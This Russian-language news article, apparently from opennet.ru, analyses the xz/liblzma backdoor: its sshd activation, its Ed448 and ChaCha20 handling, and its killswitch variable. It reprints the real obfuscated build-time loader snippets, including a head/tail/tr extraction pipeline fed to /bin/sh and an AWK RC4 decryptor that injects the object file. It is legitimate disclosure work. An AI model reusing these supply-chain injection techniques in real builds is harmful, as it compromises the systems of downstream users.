Разбор логики активации и работы бэкдора в пакете xz

Доступны предварительные результаты обратного инжиниринга вредоносного объектного файла, встроенного в liblzma в результате кампании по продвижению бэкдора в пакет xz. Изначально предполагалось, что бэкдор позволяет обойти аутентификацию в sshd и получить доступ к системе через SSH. Более детальный анализ показал, что это не так и бэкдор предоставляет возможность выполнить произвольный код в системе, не оставляя следов в логах sshd.

В частности, перехватываемая бэкдором функция RSA_public_decrypt проверяет подпись хоста, используя фиксированный ключ Ed448, и в случае успешной проверки выполняет переданный внешним хостом код при помощи функции system() на стадии до сброса привилегий процессом sshd. Данные, содержащие код для исполнения, извлекаются из параметра «N», переданного в функцию RSA_public_decrypt (поле «n» из структуры rsa_st, содержащей переданный внешним хостом открытый ключ), проверяются по контрольной сумме и расшифровываются при помощи предопределённого ключа ChaCha20 на стадии до верификации цифровой подписи Ed448.

В качестве признака для активации бэкдора в sshd используется штатный механизм обмена хостовыми ключами. Бэкдор пользуется тем, что сертификаты OpenSSH включают открытый ключ лица, сформировавшего подпись, и реагирует только на ключ, подготовленный злоумышленником и соответствующий предопределённому фиксированному ключу Ed448. Если верификация подписи по открытому ключу не проходит или если целостность данных для исполнения не подтверждается, бэкдор возвращает управление штатным функциям SSH.

Так как закрытый ключ злоумышленника неизвестен, невозможно реализовать проверочный код, который позволил бы активировать бэкдор и реализовать сканер скомпрометированных хостов в сети. Исследователями подготовлен скрипт, демонстрирующий технику подстановки открытого ключа с произвольным содержимым в передаваемый SSH-клиентом сертификат OpenSSH, который будет обработан в перехваченной бэкдором функции RSA_public_decrypt.

Исследователи также заметили наличие конструкции, обезвреживающей бэкдор (killswitch) на локальной системе при наличии выставленной перед запуском sshd переменой окружения «yolAbejyiejuvnup=Evjtgvsh5okmkAvj».

Дополнительно можно отметить детальный разбор shell-конструкций, используемых для запутывания процесса извлечения объектного файла с бэкдором и его подстановки в библиотеку liblzma. Во время сборки пакета xz из скрипта build-to-host.m4 запускался код, который находил среди тестовых файлов архив bad-3-corrupt_lzma2.xz, заменял в нём некоторые символы, превращал в неповреждённый архив и извлекал из него shell-скрипт.


  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
...
  gl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
  gl_path_map='tr "t -_" " t_-"'

Полученный shell-скрипт по кусочкам извлекал из содержимого архива
good-large_compressed.lzma ещё один shell-скрипт, пропуская определённые последовательности командами head и tail, и заменяя символы командой tr.


####Hello####
# a few binary bytes here, but as it's a comment they are ignorred
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "114-321322-37735-4714-34-1350-113" "-377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

В результате формировался достаточно сложный и объёмный
shell-скрипт, извлекающий непосредственно файл с бэкдором из архива good-large_compressed.lzma, расшифровывающий его и встраивающий в liblzma. Среди прочего в скрипте присутствовала реализация механизма плагинов, позволяющая впоследствии поставлять дополнительные исполняемые компоненты через размещение новых тестовых архивов, не меняя good-large_compressed.lzma и bad-3-corrupt_lzma2.xz, а используя поиск по сигнатуре. В коде также был задействован дешифровщик на базе алгоритма RC4, реализованный на языке AWK:


N=0
W=88664
else
N=88664
W=0
fi
xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/(.)/1n/g" | LC_ALL=C awk 'BEGIN{FS="n";RS="n";ORS="";m=256;for(i=0;i‹m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l‹8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF‹1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N › /dev/null 2>&1) && head -c +$W) › liblzma_la-crc64-fast.o || true

Источник: http://www.opennet.ru/opennews/art.shtml?num=60885